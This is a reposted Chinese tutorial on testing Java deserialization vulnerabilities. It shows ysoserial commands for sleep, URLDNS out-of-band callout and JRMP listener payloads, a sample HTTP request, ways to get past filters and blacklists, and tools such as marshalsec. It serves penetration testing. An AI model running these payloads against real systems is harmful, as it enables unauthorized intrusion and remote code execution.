当前位置: 首页 > news >正文

【Java反序列化测试】

Java反序列化测试

  • 1. 识别反序列化入口点
  • 2. 构造探测Payload
  • 3. 发送Payload并观察结果
  • 4. 绕过可能的防护
  • 5. 自动化工具
  • 注意事项
  • 总结

Java反序列化测试:


1. 识别反序列化入口点

  • 常见入口:
    • HTTP请求参数(如POST数据、Cookie、Headers)。
    • RMI(远程方法调用)、JMX(Java管理扩展)等Java远程协议。
    • 文件上传/下载功能(如序列化对象文件)。
    • 自定义二进制协议或API接口。
  • 特征识别:
    • 序列化数据通常以魔数 AC ED 00 05(十六进制)开头,Base64编码后为 rO0
    • 检查请求头或参数中是否包含类似 rO0ABQ... 的Base64字符串。

2. 构造探测Payload

方法一:触发延迟或异常

  • 生成一个导致线程睡眠或抛出异常的Payload,观察响应时间或错误信息:
    # 使用ysoserial生成CommonsCollections6的睡眠Payload(休眠10秒)
    java -jar ysoserial.jar CommonsCollections6 "sleep 10" > payload.bin
    
  • 发送Payload后,若响应延迟显著增加,可能漏洞存在。

方法二:DNS外带探测(推荐)

  • 生成触发DNS查询的Payload,验证是否存在反序列化漏洞:
    # 使用ysoserial的URLDNS模块(替换your.dnslog.cn)
    java -jar ysoserial.jar URLDNS "http://your.dnslog.cn" > payload.bin
    
  • 发送Payload后,检查DNSLog平台是否有记录(需提前注册DNSLog服务)。

方法三:JRMP反向探测

  • 启动一个JRMP监听服务(如使用ysoserial.exploit.JRMPListener):
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "命令"
    
  • 生成JRMP客户端Payload并发送,若目标反序列化时连接你的JRMP服务,则存在漏洞。

3. 发送Payload并观察结果

  • 编码Payload:将生成的二进制Payload转换为Base64或URL编码:
    base64 -w0 payload.bin
    
  • 发送请求(示例):
    POST /vulnerable-endpoint HTTP/1.1
    Content-Type: application/x-java-serialized-object
    
    [Base64 Payload]
    
  • 工具辅助:使用Burp Suite、Postman或自定义脚本发送Payload。

4. 绕过可能的防护

  • 流量混淆:
    • 对Payload进行GZIP压缩或附加额外字节。
    • 使用不同编码(如Hex、Unicode)。
  • 绕过黑名单:
    • 尝试冷门Gadget链(如Beanutils、ROME)。
    • 使用无依赖的Gadget(如java.util.HashSet)。

5. 自动化工具

  • Burp Suite插件:
    • Freddy:自动化检测反序列化漏洞。
    • Serialization Scanner:扫描入口点并生成Payload。
  • 其他工具:
    • GadgetProbe:探测目标类路径中的可用Gadget。
    • marshalsec:快速启动JRMP/LDAP恶意服务。

注意事项

  • 谨慎执行命令:避免使用Runtime.exec等危险操作,优先用DNS/HTTP外带验证。
  • 环境差异:不同JDK版本和库可能影响Gadget可用性。

总结

关键在于识别入口点并通过外带通信(DNS/HTTP)或延迟特征确认漏洞。结合工具生成Payload和流量分析,可有效提高检测成功率。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.dtcms.com/a/49153.html

相关文章:

  • C++初阶——入门基础1
  • 探秘基带算法:从原理到5G时代的通信变革【二】Viterbi解码
  • 关于C/C++的输入和输出
  • MySQL 8 C++ 源码解析:EXPLAIN 实现机制
  • 【嵌入式】MQTT
  • 深入探索DeepSeek开源之旅:开源Week全程解析
  • RHCE9.0版本笔记3:创建、查看和编辑文本文件
  • Qt QMenu 使用详解
  • AI+ERP:智能时代的双刃剑,从技术狂欢到价值落地的长征-亿发
  • 【前端场景题】如何应对页面请求接口的大规模并发问题
  • 【AI深度学习基础】Pandas完全指南入门篇:数据处理的瑞士军刀 (含完整代码)
  • 一个大型应用的云原生一般有多少个服务?
  • QT study DAY2
  • 【Qt QML】定时器(Timer)
  • DeepSeek搭配Excel,制作自定义按钮,实现办公自动化!
  • 下载b站视频音频
  • Linux 的at定时任务
  • 【Python 数据结构 2.时间复杂度和空间复杂度】
  • doOnNext() vs flatMap():区别与适用场景
  • 如何使用go本地编译caddy插件
  • JQuery学习笔记,点击按钮加载更多的图片
  • C++入门基础知识1
  • 零基础学习Python之循环详解:从入门到实践_我的学习Python记录11
  • 网络安全架构三明治
  • Spring面试题总结
  • 剪映5.9版本——免费字幕识别功能的全能解决方案
  • 2025 聚合易支付完整版PHP网站源码
  • 【算法】acwing算法基础875. 快速幂
  • ArcGIS Pro应用指南:如何为栅格图精确添加坐标信息
  • Rocky Linux 系统安装 typecho 个人博客系统(Docker 方式)